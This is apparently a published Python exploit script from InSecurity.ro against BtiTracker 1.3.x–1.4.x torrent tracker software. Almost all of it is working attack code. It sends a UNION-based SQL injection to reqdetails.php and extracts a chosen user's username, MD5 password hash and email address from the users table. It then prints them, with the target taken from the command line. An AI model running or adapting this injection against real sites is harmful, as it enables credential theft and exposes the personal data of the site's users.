BtiTracker versions 1.3.x and 1.4.x remote SQL injection exploit.
a303a466d545ad7babc5017b9a7cf61d60efa7e8a6989247c1371704ea996b7e
#!/usr/bin/env python
#
################################################################################
# ______ ____ __ [ xpl0it ] #
#/\__ _\ /\ _`\ __/\ \__ #
#\/_/\ \/ ___\ \,\L\_\ __ ___ __ __ _ __ /\_\ \ ,_\ __ __ #
# \ \ \ /' _ `\/_\__ \ /'__`\ /'___\/\ \/\ \/\`'__\/\ \ \ \/ /\ \/\ \ #
# \_\ \__/\ \/\ \/\ \L\ \/\ __//\ \__/\ \ \_\ \ \ \/ \ \ \ \ \_\ \ \_\ \ #
# /\_____\ \_\ \_\ `\____\ \____\ \____\\ \____/\ \_\ \ \_\ \__\\/`____ \ #
# \/_____/\/_/\/_/\/_____/\/____/\/____/ \/___/ \/_/ \/_/\/__/ `/___/> \ #
# _________________ /\___/ #
# www.insecurity.ro \/__/ #
# #
################################################################################
# [ BtiTracker 1.3.X - 1.4.X Exploit ] #
# Greetz: daemien, Sirgod, Puscas_Marin, AndrewBoy, Ras, HrN, vilches #
# Greetz: excess, E.M.I.N.E.M, flo flow, paxnWo, begood, and ISR Staff #
################################################################################
# Because we care, we're security aware #
################################################################################
import sys, urllib2, re
if len(sys.argv) < 2:
print "==============================================================="
print "============== BtiTracker 1.3.X - 1.4.X Exploit ==============="
print "==============================================================="
print "= Discovered and coded by TinKode ="
print "= www.InSecurity.ro ="
print "= ="
print "= Local Command: ="
print "= ./isr.py [http://webshit] [ID] ="
print "= ="
print "==============================================================="
exit()
if len(sys.argv) < 3:
id = 1
else:
id = sys.argv[2]
shit = sys.argv[1]
if shit[-1:] != "/":
shit += "/"
url = shit + "reqdetails.php?id=-1337+and+1=0+union+all+select+1,2,3,\
concat(0x2d,0x2d,username,0x3a,password,0x3a,email,0x2d,0x2d)\
,5,6,7,8,9,10+from+users+where+ID=" + str(id) + "--"
print "\n"
print "============================================="
print "================= InSecurity ================"
print "============================================="
html = urllib2.urlopen(url).read()
slobod = re.findall(r"--(.*)\:([0-9a-fA-F]{32})\:(.*)--", html)
if len(slobod) > 0:
print "ID : " + str(id)
print "Username : " + slobod[0][0]
print "Password : " + slobod[0][1]
print "EMail : " + slobod[0][2]
print "============================================="
print "================= InSecurity ================"
print "============================================="
else:
print "Ai luat-o la gaoaza..."
#InSecurity.ro - Romania